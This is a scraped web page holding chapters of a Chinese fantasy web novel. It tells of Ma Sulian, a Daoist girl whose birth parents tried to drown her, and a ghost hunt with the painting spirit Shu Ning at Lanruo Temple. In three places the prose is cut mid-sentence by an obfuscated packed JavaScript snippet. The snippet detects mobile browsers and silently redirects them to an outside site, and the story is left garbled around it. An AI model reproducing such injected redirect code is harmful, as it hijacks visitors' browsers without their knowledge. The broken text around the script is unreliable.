外头醉酒的男人听见妇人的叫喊,但他被酒精攫住了魂,等他脚步不稳地进到房间里来,眼神尚未适应屋里的黑暗,就被躲在门后的小孩如法炮制勒住了脖子。 这次文婉没有用木勺,而是换做了门上手掌大的铁锁。 男人的脑袋还是不敌铁锁硬,三两下也被文婉送去了鬼门关。 趁其他人贩子不在,八个孩子从破败的矮墙上翻出去,文婉辨认着路上的车辙印,带着他们回了城中心,找到了官署,就这样回了家。 可她没有想到的是,大约上天注定她父母缘浅,回到家才是噩梦的开始。 刚开始只是觉得母亲的眼神不对,对她回家没有半分喜悦,反而惊恐厌恶。 她的奶娘和一众侍奉的仆从已经被母亲送回了家,所以回来的这个晚上,她便睡在母亲房间的小榻上。 半夜里,父亲醉酒回来,房门打开的声音令文婉如惊弓之鸟一般睁开了眼睛,但她很快反应过来,这是在家里。 她听到母亲问父亲:“求到了吗?” 父亲:“给。” “她睡了吗?” “粥里放了药,早睡死了。” 父亲幽幽叹了一声:“婉儿这般聪慧,竟是克死六亲的命局,若是她与恪儿的命局能换一换就好了。” “恪儿”是她早夭的兄长的名字。 “听说那两个人贩子都死得很惨,我去看过了,实在骇人,若是让她知道她是我们故意弄丢的……”这是父亲的声音。 “这孩子心太狠,又克六亲,这是我自己的骨肉,可我不能不顾其他孩子的命、一家人的命……”母亲呜呜哭起来。 她睁着眼睛望着黑漆漆的房顶,一时间觉得自己听不懂人话了。 方才听到的,究竟是在噩梦里,还是她的臆想? 文婉很快就确定了。 那些都是真的。 在园子里会有大狗无缘无故扑上来咬她,走在湖边会有人推她,吃饭会吃出钉子,遛马会有马儿发疯,赏花会有成群的毒蜂…… 开始时她还能从母亲的眼神中找寻到一丁点儿心虚愧疚,但她太难死了,终于母亲的眼神里只剩下了冷漠与厌烦。 三月初五,父亲收到了一封弹劾。 三月初六,母亲便带着她去大觉禅寺上香祈福。 路过石桥,湍急的河水在桥下流淌着,文婉便知道这是自己的葬身之地了。 母亲借口车晃得她头晕,让车夫停车休息一会儿,文婉缩在车厢的角落里,掀开帘子看向下面黑洞洞的河水。 马车里没有别人。 母亲一点点靠过来,捂住了她的眼睛,在她脖子上挂了一样东西,随后在她耳边轻声道:“婉儿,你早就知道了吧,不要怪娘心狠。” 她从窗子里被抛了出来。 落入河水前的那一刹那,她一直很想看清母亲的眼神。 在杀死亲骨肉的时候,母亲是什么样的心情呢? 但她下落的速度太快,她没能看清母亲的眼神。 当她再度醒来时,被下游的河水冲上了岸,然后被一个老渔翁捡回了家。 母亲挂在她脖子上的东西被河水冲走,她一直未能得知那是什么。 母亲的爱便这样短暂系于她身,之后便永久找不回了。 老渔翁是个心善的老头,但很可惜不到一年便死了。 那时文婉已经不会说话很久了。 后来流浪做乞儿,又是很长一段日子。 她浑浑噩噩观察着这世间所有的母女,有的母亲打骂女儿,可手还是紧紧牵着女儿;有的母亲对女儿温柔说笑,哪怕口袋里并不宽裕,还是会给女儿买她最想要的吃食衣裳;最疏远的母亲,对儿子最好,对女儿只是指使她们干活,可是也不会将她们投入冰冷的河水。 天下仿佛只有她的母亲最是心狠。 还有她的父亲。 没有亲自动手,却与她的母亲一样心狠。 文婉流浪到了一间寺庙,仰头望着莲座上的神佛,满心不解。 然后她在那里,遇上了马家夫妻。 他们从北方逃难到了南方,安稳生活了几年,始终没有子女,求到了佛前,误以为文婉就是上天赐给他们的女儿。 文婉就此成了马素莲。 马家夫妻很善良,对马素莲很好。 她渐渐能够开口说话,可她心里的刺还没有拔除,觉得世间善如朝露般短暂,恶才是人心底的本色,于是每每口出恶言。 更糟糕的是,大约她克死六亲的命格是真的,她五岁上下,马家爹爹就生了一场重病,大夫摇头,劝他们准备棺材。 马素莲不想克死马家爹爹,打算离开,这时家里忽然来了一个游方道士,想要收她为徒。 她对修道也没什么兴趣。 若说世间真有神鬼之道,她虚无缥缈的克死六亲的命格便是真的。 她不想承认,她生来就该死。 她一口回绝。 但老道士却拿出了一幅画。 画中有一条湍急的河,但河岸边却长着一株亭亭玉立的牡丹,日夜受着河水的冲刷,却长出了那么鲜艳欲滴的花朵。 花朵旁边立着一只展翅欲飞的白鹤,仙气飘渺,不似凡尘。 马素莲改了口。 老道士交给马家夫妻一枚丹药,收她为徒。 她从此知道了自己克死六亲的命局是假的,却在后来又沉迷捉鬼之术。 直到后来,她在梦中回答京城,回到亲生父母的梦中,听了他们一夜的忏悔与辩解,她自此明白,当年父母杀她,并非鬼迷心窍。 马素莲大病一场,之后便越发努力“浇灌”那幅画,像是在浇灌自己人生的另一种可能。 束宁从画中出来,是更后来的事了。 马素莲白日入梦,站在那座亭子所在的山顶,崖下万千白雾飘渺翻滚,她的袍子被风吹得猎猎作响。 师父出现在她身边,道:“你明知他不会去杀那些无辜之人,何苦困人困己?” 马素莲不语。 清风道长手指一点,崖底的云雾纷纷让开,露出了下面宽阔百倍的湍急河流。 “人有种种缘法,你与亲生父母的缘法种在前世,今生只是果报,你已然知晓,何必念念不忘。” 马素莲道:“我已经知晓了,但不必强自忘记,强求亦苦,是不是,师父?” 清风道长露出一个赞许的微笑,捋着胡子身影渐渐淡去。 马素莲纵深跃下了万丈高崖,直直坠入了那条湍急的河流之中。 *** 三日后的清晨,马素莲将要启程去天都观。 她与爹娘告别,便翻身上了马。 离开家门时,她再三回望了几次,始终没有见到束宁的身影。 只有一只三花猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489805|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恹恹待在马脖子上,偶尔也回头看上一眼。 出了城,马素莲垂眸看它:“下去。” 三花猫“喵”了一声,问道:“小姐,你给束宁的考验是真的吗?” 它与小姐相识多年,那天小姐一番话对它的冲击,不亚于平地起高楼,可它再问小姐,小姐都说是真的。 这是它第三次问小姐了,三花猫觉得小姐不会给出其他答案,但它就是本能觉得不对。 果然,小姐答道:“是真的。” 三花猫还是想问:“为什么?” 马素莲不语。 三花猫无奈起身,轻盈地从马上跳下来,站在空地上。 “小姐真的不带我去吗?” 马素莲点头。 三花猫让开了路。 马儿很快消失在了小路尽头。 三花猫用爪子在地上划了一道,束宁从里面走出来。 他脸色有些憔悴,抱起吱大人,问道:“小姐还是那般回答,是吗?” 三花猫点头:“不过现在小姐已经走了,你不用再纠结了,现在就算杀了人,也赶不上小姐的。” 束宁沉默地望着小路的尽头,过了一会儿,忽然道:“吱吱,你有没有觉得,那一刻的小姐才是真实的?” 吱大人沉默地舔了舔爪子。 束宁自顾自说道:“或许小姐就是不愿我们跟过去,才说出这种我们肯定做不到的条件。” 吱大人“喵”了一声,尾巴翘起来,眼睛也亮了:“对哦,我怎么没有想到,小姐肯定是这个意思。” 它顿时觉得天也是晴的,草也是绿的,草丛里的蝴蝶也活了过来。 束宁却满腹心事。 他们等了小姐半月有余。 束宁整理着小姐留下的文稿,百无聊赖地支手望向窗外。 忽然马夫人的声音传来,她在指使着丈夫摆弄年轻郎君的画像。 束宁心里顿时生出了一个主意。 这些日子他左思右想,那日小姐态度大变,似乎是他提到小姐幼时之事后。 有时候小姐笑并不是真的在笑,束宁当时沉浸在那个美梦中没有察觉到,后来小姐语出惊人,他的注意力又被那番话吸引,直到这几日他才反应过来。 或许小姐幼时曾发生过什么事。 束宁听着马夫人和马老爷的声音,在心里慢慢确定了计策。 *** 夜晚,马府上下刚吃过晚饭。 星辰点点,夜幕低垂,一天的热闹收场,马老爷和马夫人在房间里闲说话。 马老爷面前摆着一盘棋,手里拿着棋谱,马夫人则拿着水壶浇花,两人正说着最近的天气,还有女儿不知道已经赶到哪里了。 “素莲比咱们两个年轻时加起来还要厉害,年纪轻轻地就敢孤身上路。”马夫人感慨道,声音里满是关切与夸赞。 “神仙人物呐,哪天素莲成了仙人我都不奇怪。”马老爷挪着棋盘上的棋子,笑着道。 这时,门外有丫鬟的声音响起:“夫人,厨房里的汤炖好了,要现在盛上来吗?” 马夫人问丈夫:“你让厨房炖了汤?” 马老爷:“没啊,是不是你吩咐完就忘了。” 马夫人放下手里的水壶,开门问院子里的小丫鬟:“什么汤呀?” 小丫鬟微微低着头:“百合银耳汤。” 这确实是马家常做的汤,马夫人也有晚上命人做汤的习惯,不过一般都是做给女儿喝的。 马夫人奇道:“我的记性已经这么差了吗?” 她对小丫鬟道:“给我和老爷盛两小碗就行了,剩下的你们分去喝,若是不够便再做些。” 马老爷见事情解决,低下头重新看向手里的棋盘。 片刻后,妻子的声音从外面传来:“算了,我去厨房瞧瞧。” 马老爷道:“去吧去吧。” 这厢,马夫人面前的小丫鬟道:“夫人,我们也不知道该做多少,要不然您来厨房看看吧。” 马夫人点了点小丫鬟:“这有什么不知道的,怕什么,做多做少不过多喝点少喝点的事,算了,我去厨房瞧瞧。” 她与小丫鬟去了厨房,把事情吩咐好,回到花园小亭时忽然瞧见马老爷正坐在那喝茶。 她走过去问道:“心情不好?” 马老爷叹了口气:“我想起当年咱们刚来这里的时候,素莲才那么一点儿大。” 马夫人给自己也倒了碗茶,听到马老爷的话,顿时笑道:“我还说我记性不好,哪里比得上你记性不好,咱们刚来这里时哪有素莲?” 马夫人也幽幽叹了口气,颇有些心酸的意味:“那时候素莲还不知道在哪里流浪呢。” 16. 兰若 马老爷喝茶的动作顿住,他放下茶杯,接道:“是啊。” 马夫人的话匣子打开:“那时她还那么小,自己一个人在外面流浪,不知道吃了多少苦,受了多少罪,”马夫人说着便流眼泪,“她从来不提自己的亲生爹娘,以素莲的聪慧,不知道她爹娘亏欠了她多少。” 亲生爹娘。 流浪。 束宁如遭雷击,他竟然从来都不知道,小姐并非马夫人和马老爷亲生! 怪不得马老爷和马夫人对小姐总有几分说不出的客套,小姐对马家夫妻的态度也总带着几分疏离与纵容。 原来是因为——他们原本并不是一家人! 小姐过去流浪时,还不满五岁吧,她在外面流浪了多久?是怎么活下来的? 束宁一概不知,但一想到小姐五岁时粉雕玉琢、一派稚气的模样,心口处仿佛被攥紧了,一抽一抽地疼。 他是画妖,是没有“心脏”的,可这个时候,他听着马夫人的话,好像忽然生出了凡人的心脏。而这心脏带给他的第一个感受,不是蓬勃的生命力,而是随着跳动而生出的抽痛。 马夫人见他眼眶也红了,絮絮说起许多马素莲小时候的事。 束宁安静听着。 末了,月上中天,马夫人说得喉咙都有些哑了。 “你总说素莲是上天送给我们的珍宝,还说绝对不能逼迫孩子成亲,有时候想想,你说的也对,若是成了婚,再想如现在这般去天都观,便不得不要顾及她夫婿的意见,心宽些的还好,若是那等小心眼的,岂不是给她添堵?” 马夫人顿了顿,又抬头望着天上的明月,叹道:“可素莲性情冷傲,我是真担心我们身后,她要孤独过完余生,一想到她自己冷冷清清地吃饭、生活,我心里就像刀绞一般,总能想起她小时候……算了算了,不说了,让素莲自己决定吧,等她回来,我们把选出来的人选交给她看看再说。” 束宁化作的马老爷跟在马夫人身后走了一段路。 门“吱呀”一声打开,他便化作了一棵花草,隐在了院中。 屋子里,马夫人惊讶道:“你什么时候走到我前头去了?” 马老爷已经收了棋盘,坐在床上打着瞌睡等妻子:“你终于回来了,我去厨房找你,你非要挑完那盘豆子,脾气上来了什么话也不听,那豆子有什么好挑的,眼睛酸不酸?” 马夫人:“什么挑豆子,我们不是坐在亭子里聊天了吗?” 话说完,夫妻两个意识到了不对劲,面面相觑了一会儿,马老爷道:“明日我们就去寺里上香,上次黄府败落,那群大老鼠可还没找到呢。” 马夫人道:“上什么香,素莲快回来了,对了,她不是留给我们几个香囊吗?快找出来挂上。” 马老爷披着衣裳,找出了压在箱笼底下的香囊,门上系了一个,床上系了一个。 夫妻絮语一番,就此睡下。 束宁离开马夫人和马老爷的院子,回到了小姐的房间。 吱大人不在,房间里冷冷清清的。 那些小鸟也不在,橘树还不会说话,坛子里的女鬼他不想找她聊天。 月光透过窗户,照在小姐的书桌上。 束宁想,小姐什么时候才能回来呢? 他好像,更想她了。 *** 又过了小半个月,小姐终于从天都观回来了。 束宁与三花猫十天前就每日守在城外的路口上翘首以盼。 终于见到了小姐的身影,一画一猫都很是高兴。 马素莲勒住马,居高临下看着他们,眼神里是一贯的平静,看他们殷勤的样子,问道:“你们又作妖了?” 三花猫不满:“哪有?我们就是单纯想……想看城外的风景了。” 束宁在小姐离开时没敢来送她,之后又知道了小姐一直隐瞒的过往,心里有些莫名其妙的心虚,他看了一眼小姐就移开了视线,但很快就忍不住,视线久久停在了小姐身上,嘴角压都压不住:“我们想小姐了,吱大人十天前就守在这里了。” 马素莲没想到他一点别扭都不闹,有些诧异,她没说什么,只道:“回家吧。” 等见过了爹娘,与他们聊了一会儿路上的见闻和在天都观的修行,便回了自己院子。 束宁殷勤地给小姐捏肩,眼神里有些藏不住的怜惜。 马素莲捉住他的手拂开,问道:“那天是你诓骗他们?” 她一回来,爹娘一番嘘寒问暖之后便提起了那天晚上的怪事。 家里被她画了阵法,若非由她允许,不可能有任何妖邪之物能进得来,除了自家之人,不作他想。 束宁顾左右而言他:“小姐,若是那天我真的杀了人,你会开心吗?” 马素莲直视着他的眼睛:“会。因为我知道你是什么样的人,你违逆自己的心意替我杀人,我为什么不开心?” 束宁道:“可我没有杀人,小姐失望了吗?” 马素莲眼睛里藏了点极淡的笑意:“不会。” 束宁紧盯着她问道:“为什么不会?” 马素莲这次却没有答。 束宁替她答上:“因为我坚守了自己的心意,而小姐向来不喜欢傀儡,所以无论我做与不做,小姐都不会失望,可是小姐,我想知道,怎么样你更开心。” 马素莲道:“无论你杀不杀人,我都不会更开心。” 她说出那番话之前,便知道束宁决不会杀人,她只是在那一刻,在微微察觉到他有可能“喜欢”她的那一刻,忍不住披露自己内心深处最真实的想法而已。 这种想法在十五年前就注定产生了,可它们是野兽,是毒药,她耗尽理智与心力与之盘桓、纠缠,互相驯服,只是在察觉到或许这世上有一颗最柔软,对她最不设防的心存在时,忍不住露出獠牙。 她想让他看清,她究竟是什么人。 她的心里长满了荆棘与毒刺,十五年前到现在,已经密密麻麻,根深蒂固,无法拔除,不能和解。 束宁对小姐的回答感到困惑。 他还想再问几句,然而小姐却道:“我有些累了,要休息。 束宁跟着小姐到了床边。 更小些的时候,他都是与小姐一起睡在床上的。 可小姐长大后越发霸道,后来便不允许他睡床了。 小姐的梦境也不再允许他进入。 然而小姐出去了一个月才回来,束宁不想这么快与小姐分开。既然小姐要睡,他可以坐在床边等她睡醒。 马素莲有些无奈。 她睁开眼睛,看向床边的人。 “我吵到小姐了吗?” 画妖是没有呼吸的,人形也没有。 但视线也很有分量,束宁在心中想道,每次小姐的视线落在他身上,他都能感受到。 若是小姐让他闭上眼睛,他不会反对的。 然而马素莲却道:“你许久没有进梦境了,来吗?” 束宁眼神一亮:“来。” 马素莲道:“闭眼,抱神守一。” 束宁听话照做。 片刻后,两人一同出现在了一片雾气蒙蒙的亭中。 束宁跟在马素莲身边,问道:“小姐这次去天都观又领了什么任务吗?” 马素莲点头:“有只大妖要除。” 他们从亭子里一路走下山,路过一座光怪陆离的城池。 小姐不知道从哪里掏出一支莲花蜡烛,烛光亮起,周围雾气稍散。 马素莲迈进了这座城池,束宁紧跟其后,刚一进来,城池里的景象就变了个样。 原本无数乱七八糟风格的小店和住宅都变成了黑乎乎一片,无数阴风阵阵,偶有浑身虚幻的白影路过他们身边,刚凑近就被莲花蜡烛的烛光灼烧得痛呼一声,随即立即退走。 “小姐,这些是什么?” “残魂。” “是鬼魂吗?” “是。” “为什么不是鬼?” “不完整了,他们都没有记忆,只能凭本能吞食魂魄。” 束宁“哦”了一声,观察着这些缺胳膊少腿的白色游魂,又有新的问题从心底冒出来:“他们为什么没有去黄泉?” “被拘住了。” “被谁拘住了?” “一只大妖。” “就是我们今日要捉的对象吗?” “是。” 小姐带着束宁穿行在这片黑暗的城池中,过了一会儿,他们从城池的中心穿过,到达了一片荒地。 “还没到吗?” 马素莲道:“快了。” 果然又过了一小会儿,他们前方出现了一座寺庙。 束宁刚看清寺庙上的字迹——“兰若寺”,就听到小姐说:“梦境结束了,你先回去吧。” 束宁未及反应,便被小姐手一推,飞离了这片漆黑的梦境之地。 他睁开眼睛看到满室灿烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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束宁刚一现身,便察觉到小姐身体一僵。 他有些想笑。 然而很快他就笑不出来了。 小姐不知道怎么回事,化作了一身男子打扮,头戴纶巾,背着书箱,像个赶路的书生。 她面前站着一位十分漂亮的女子,柳眉杏眼,面色可亲,正与小姐言笑晏晏地说着话,忽然见到一个黑衣美男子出现,她骤然一惊,警惕问道:“他是谁?” 小姐闭了闭眼睛,道:“他是我的鬼夫。” 女子大惊,随即笑道:“你……你是个男子,他怎么能是你的鬼夫?莫非你有龙阳之好?” 小姐说话也是男子的声音,听起来有几分不好意思:“小倩姑娘,不瞒你说,其实他原本是我妹妹的夫婿,后来我妹妹去世,他也跟着去了。结果我妹妹入了黄泉,早已转世,他却一直游荡在人间……他原是个孤儿,无处可去,便一直跟这我,再后来……” 小倩姑娘已经顺理成章脑补出了后面的情节:“再后来你们二人日久生情,竟也做了一对夫……夫。” 小倩姑娘上下打量了一番束宁的容貌,眉目清隽中自带一股昳丽逼人的美,长衣风流,妖而不媚,如神仙中人,理解道:“不怪你生出情愫。” 马素莲在束宁眼中与往日没有多少差别,但估计在小倩姑娘眼中另有样貌,她又看了小姐几眼,清冷出尘,俊朗非凡,也是一副玉树临风的好相貌,对束宁道:“也不怪你。” 她看了二人一眼,道:“现在快到中午了,外头阳光烈,你们先别出去了,若是缺什么,只管叫我,我一会儿给你们送午饭过来。” 临要出门,又叮嘱道:“你们别乱跑。” 出门便没了踪影。 人一走,束宁就问道:“她是谁?” 小姐不答,盯了他一会儿,忽然问道:“你什么时候在我身上留的字?” 束宁弯唇一笑,道:“小姐诳我陪你赶路,到了地方却要把我赶回家,所以我就自己来了。” 束宁望向女子消失的方向。 这时约在午时,一天之中阳气最盛之时,然而外面的阳光被云层遮住,地面上只有一片阴影。 而这间兰若寺不知多少年未曾住过人了,蒿草没人,殿中虽然宏伟,却处处显得十分荒凉。 他凑近小姐,低声问道:“她便是我们要捉的大妖吗?” 小姐离他远了一点,道:“她叫聂小倩,是鬼非妖,妖还在后面。” 束宁成功将话题岔开,暗自得意中,小姐道:“你既是‘鬼夫’,白日里便不要出门,还有,我叫连肃,不要叫错了。” 束宁方才便想笑,这会儿听小姐再次提起,他忍不住笑起来。 17. 采臣 聂小倩鬼力强盛,兼之在兰若寺这等偏僻荒凉之处,不惧阳光,正午时分就可以借助寺庙游廊遮掩自行出入。 过了一会儿,果然给他们送给饭来。 马素莲看了一眼餐盘上的癞蛤蟆,道:“竟这般丰盛,这怎么好意思呢?”说着就要找银子付账。 聂小倩按住了马素莲的手,笑道:“你这书生何必如此较真,”她凑近一点,低声与马素莲道,“我不是与你说过了吗,我们姐妹二人被村中恶霸霸占了田地,无处安身,只能借住在这兰若寺中,唯求有朝一日能有人救我们姐妹二人脱离苦海。” 聂小倩说着便嘤嘤哭起来。 马素莲假作无措,不知道如何是好,束宁则是看着那盘癞蛤蟆发呆。 聂小倩无人安慰,哭了一会儿,自己止住了哭声,道:“我观公子二人气度不凡,如今上京赶考,必能高中,只求结一点香火情,待哪日我们姐妹能为公子为奴作婢也是好的……” 聂小倩说着,便将手中餐盘往马素莲身前塞,一边暗中看向“他”身边的鬼夫,不知道自己的障眼法对这只鬼物来说是否有效。 放在常人眼中,这一盘便是大鱼大肉;可若是在有道行的人和鬼看来…… 餐盘离马素莲越来越近,聂小倩的心也渐渐提了起来。 马素莲表情不变,接过了盘子,顺着方才的话题道:“姑娘……哎,若来日我当真高中,必然报今日一饭之恩。” 聂小倩见马素莲面无异色,心渐渐放回了肚子。 她微笑着看着马素莲吃下了那只癞蛤蟆,而他的草包鬼夫就在一旁贤惠地端茶倒水,还拿袖子替书生擦嘴。 约莫是看美人犯蠢更有意思些,聂小倩捂着嘴笑出了声。 马素莲嘴里露出一条癞蛤蟆腿,不解问道:“小倩姑娘笑什么?” 聂小倩道:“没什么,公子慢慢吃,若是不够,我再拿些过来。” “够了够了。” “那就好,那我便不打扰公子用饭了。” 说完便离开了。 马素莲站在旁边看着聂小倩离去。 束宁挨着小姐,看着一袭深绿裙子的聂小倩自说自话了一会儿便离开了,问道:“小姐让她瞧见了什么?” 马素莲看了眼地上那盘癞蛤蟆,若有所思道:“她想看见什么便会看见什么。” 说完一挥手,地上的癞蛤蟆就从窗户里飞了出去,“呱呱”叫着跳出了院子。 马素莲假扮赴京赶考的书生,为了更像模像样些,幻化出了一个书箱,这会儿刚好从里面拿出书来。 再一抬眼,束宁已经扫出了一小片空地,用纸张幻化出了两张蒲团。 他就坐在其中一张蒲团上托着下巴仰头看她,眼神中含了几分笑意,有点催促,还有些自得,像春风掠过池水,吹动了一池涟漪。 马素莲动作一顿,面色平静地坐下了。 她拿着书看,束宁就将头搁在她胳膊上,随着一道看,但心思并不在书上。 偶尔有几个问题抛出来:“小姐要捉的是只什么妖?” “不知道。” “那我们要怎么捉?” “吊出来再杀。” “小姐刚回来就要杀这只妖,想必那妖定然作恶多端,是小姐师父要小姐杀的吗?” “不是,路上遇到一只鬼。” 束宁就这样与小姐有一搭没一搭地聊着天,偶尔看会儿书,只觉得很快天色就暗沉下来了。 傍晚的兰若寺中忽然起了狂风。 院中茂盛葳蕤的草木在狂风中乱舞,木窗也被吹得啪嗒作响。 天色的昏暗与头顶黑压压的云层交织,让荒凉的兰若寺更多了几分诡异恐怖的气氛。 束宁起身关好了窗户,小纸人在窗户边紧紧扒着窗缝。 他回到殿中,拿出蜡烛点上,殿中顿时亮堂起来,佛祖的面孔在烛光的照耀下隐去了黑暗时的狰狞,重新恢复了温和慈善。 寺院外隐隐传来脚步声。 马素莲的视线越过重重杂草和断壁残垣,望向了寺院外,道:“有人来了。” 束宁看了眼快要入夜的天色,惊讶问道:“这会儿?是那只大妖吗?” 马素莲摇了摇头。 过了片刻,殿外有个浑身湿透的文弱书生站在门口向里张望,见到殿中有人,露出了一个惊讶中带点喜悦的神情。 他推门进来,顺手关上门,对马素莲与束宁道:“没想到这等荒僻的寺里还有人在,两位兄台好。” 他十分认真地躬身施了一礼,然后问道:“不知是否打搅两位兄台?外面风急雨大,我想也在此地借宿一晚。” 马素莲道:“我们也是外来的,有什么打搅不打搅的,兄台若是愿意,留在此处即可。” 这个文弱书生自称姓宁名采臣,上京赶考,路遇此地,没想到突然下了好大的雨,他只好进来躲避一番。 马素莲和束宁也与他通了姓名,为免等会儿他吃了聂小倩送来的癞蛤蟆,还特意送了他两张大饼。 宁采臣很有些迂腐,又是好一通相谢,才收下了大饼和热水,坐在角落里一手持书,一手啃饼。 没过过久,聂小倩就提着灯笼来了。 她打量着宁采臣,这位相貌亦是不俗,只不过看上去便文弱许多,身上一袭青色长袍湿了个彻底,也像是意外踏入此地的。 也是奇了,以前赶考时节确实能遇到几个书生,但碰到一起的却是少见。 其中还有一位“鬼夫”。 聂小倩忍不住又将视线移到了束宁与马素莲身上。 没想到这一瞧,竟瞧出点不对来——这位连书生的胡子怎么时有时没的? 她再定睛瞧去,那胡子又好端端长在脸上了。 马素莲看见聂小倩眼神中的警惕,只做不知,冲她和善一笑。 然而聂小倩终归多了一点戒心,她心中戒备,面上却没有显露。 她回了一笑,然后看向宁采臣,问道:“不知这位公子姓甚名谁,也是要上京赶考的吗?” 将自己与妹妹的身世说辞又讲了一番,求宁采臣高中之后能给她们姐妹一个容身之所。 宁采臣面露同情之色,却对科举高中一事十分谦逊:“赶考学子中人才济济,我不敢说必定名列前茅。” 聂小倩恭维了几句,便问宁采臣是不是吃了晚饭,得知他已经吃过了,面露可惜之色。 她转头问马素莲与束宁,两人也都说已经吃过了。 聂小倩只好离开了。 又过了约莫一个时辰,宁采臣面露疲惫之色。 他查看了殿后厢房,里面陈设十分简陋,却还留有一张床和一个美人榻,上面都有张薄席,勉强可以作为休憩之地。 宁采臣与马素莲和束宁商量过,由他来睡床,另外两人睡榻。 如此决定过后,他便进了厢房,简单清扫过床铺,便躺在床上准备闭眼入睡了。 陌生又荒僻的废弃寺院,宁采臣也没有心大到倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489807|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头就睡的地步,他睡觉前在厢房的桌子上点了一只蜡烛。 蜡油滴在桌子上,再将蜡烛放上去,便十分牢固了,即使窗户里有风漏进来,也只会吹灭烛火,而不至于将蜡烛吹倒。 书箱和包袱则放在自己里侧,手指缠着包袱的一角,若有人拿包袱,他必定会惊醒。 宁采臣闭着眼睛,没有注意到窗户上跳上去一个小纸人,正守在床边百无聊赖地打了个呵欠。 束宁倚在小姐身边,与小姐窃窃私语道:“宁采臣胆子可真大,他真的闭上眼睛了。” 马素莲道:“闭眼也未必真的在睡觉。” 这种阴森荒凉之地,还有陌生人在侧,稍微有点江湖经验,便不会就此入睡。 束宁道:“也不知道该说这个书生运气好还是不好。”要说好,进了这所破庙;要说不好,又偏偏遇上他与小姐。 马素莲道:“夜里阴气更盛,聂小倩会识破我的伪装,若是没有宁采臣,她无法违背背后大妖的命令,无论如何也会来试探我们,但有宁采臣在,我们身上又有异样,她很有可能先对宁采臣下手,看好他,不要掉以轻心。” 束宁认真应下,他想了想,又分出了一个小纸人,悄无声息跳到了床边,贴在了宁采臣肩上。 外面的风依然很大,“唰唰”的雨点密集又响亮地砸在门窗上。 风透过窗纸残破的缝隙,诡异地呼号着,一阵又一阵的,像女子凄厉的哭声。 宁采臣躺在床上听着厢房的窗户不断发出声响,心里越来越毛。 闭上眼睛时,仿佛觉得整个房间里的阴影都在张牙舞爪地朝他靠近。 他尝试入睡,但陌生的环境、呼号的风声和两个一直没有进来的陌生人,都拉扯着他的思绪,虽然浑身都疲惫酸痛,但一丝困意也没有。 在床上躺了半天,宁采臣索性睁开了眼睛。 明亮的烛光虽然在风中左右摇摆着,但毕竟有光在,他安心了不少,开始思索起这兰若寺里遇到的人。 连肃显然也是赶考的学子,读书十分认真,但他身边那位叫束宁的男子,看上去却很有些心不在焉,还与连学子姿态亲昵,形影不离,二人的关系恐怕不只是同行那么简单…… 还有他二人的相貌,过于俊秀了些。 朗如明月,璨若朝霞。 宁采臣想起从小便听过的山野之间的精怪之说,心里开始打鼓。 至于那位一袭绿衣的美貌女子,出现在殿中的时间太短,宁采臣并没有十分放在心上。 时间应该快到子时了吧,那两人还没有进来…… 宁采臣不由自主地盯着厢房的门口,心头渐渐被恐惧占据。 烛光投在墙上的阴影似乎更加飘忽了。 若是推门进来的不是人怎么办? 他目测了一番门口到床的距离,也不过七八步,若是精怪,速度必然更快。 而若是美人榻的距离,更近了,不过三四步。 夜间蜡烛熄灭,黑暗之中,若他再睡过去,恐怕根本来不及反应。 宁采臣额头差点沁出冷汗,他忽然想起了临行前母亲非要塞在他书箱里的菜刀。 ——“若是夜间在外住宿,一定要将菜刀放在手边,万一真有什么事,打不过还能吓一吓呢。” 宁采臣恍若发现了救命稻草,他“蹭”一下坐起身,扯过书箱便开始低头翻找。 就在这时,不知道哪里传来了“咔哒”一声。 宁采臣僵住了身体。 18. 佛祖 烛光幽幽,有风从外面渗透进来。 宁采臣僵硬着抬起头,向着风吹进来的方向看去。 ——门口没有被打开,依然关得严严实实的。 那两人没有进来。 宁采臣松了口气。 如果门口没有风,那就只能是窗户了。 他又向窗户看去,果然在上面发现了一个细小的缝隙,风正从里面吹进来,并且下一阵风大,很快就要将窗户整个都吹开了。 宁采臣踩上鞋子,急忙奔到了窗前试图关窗。 结果这时忽然听到窗户外传来了“咚咚咚”的一声,似是有人在敲窗。 宁采臣又回头确认了一眼,门没有被打开,外面大殿的门也没有打开的声音——应当不是殿中两人。 那这窗户的声音是风卷着石子敲在窗户上造成的? 他方才心神稍稍放松下来,此时确认门没有开,一时之间便有些松懈,没有多想,便要把窗户关得更紧些。 然而他一用力,就察觉到窗外还有道力气,不管他怎么关都关不上。 窗外又传来了一道“咚咚”声。 “宁公子,你睡了吗?” 是一道轻柔的女子声音。 宁采臣吓得松开了手。 狂风将窗户吹得更开了些。 屋子里的蜡烛熄灭了。 房间里一下子就陷入到了黑暗之中。 狂风骤雨似乎也席卷到了屋内。 宁采臣吓得狂奔到了床边,又开始努力翻找他的刀。 而窗外女子的叫喊声越来越清晰:“宁公子,是我呀,我是聂小倩,宁公子不要害怕,我是来救你的,殿中那两人是鬼,你千万不要开门。” 说着,女子的声音还顿了一下,似乎左右查看了一下,才继续道:“他们现在还没有发现我与妹妹知晓了此事,宁公子,你赶紧跳窗逃跑吧。” 束宁变化的小纸人扒在窗边,没有令窗户彻底打开。 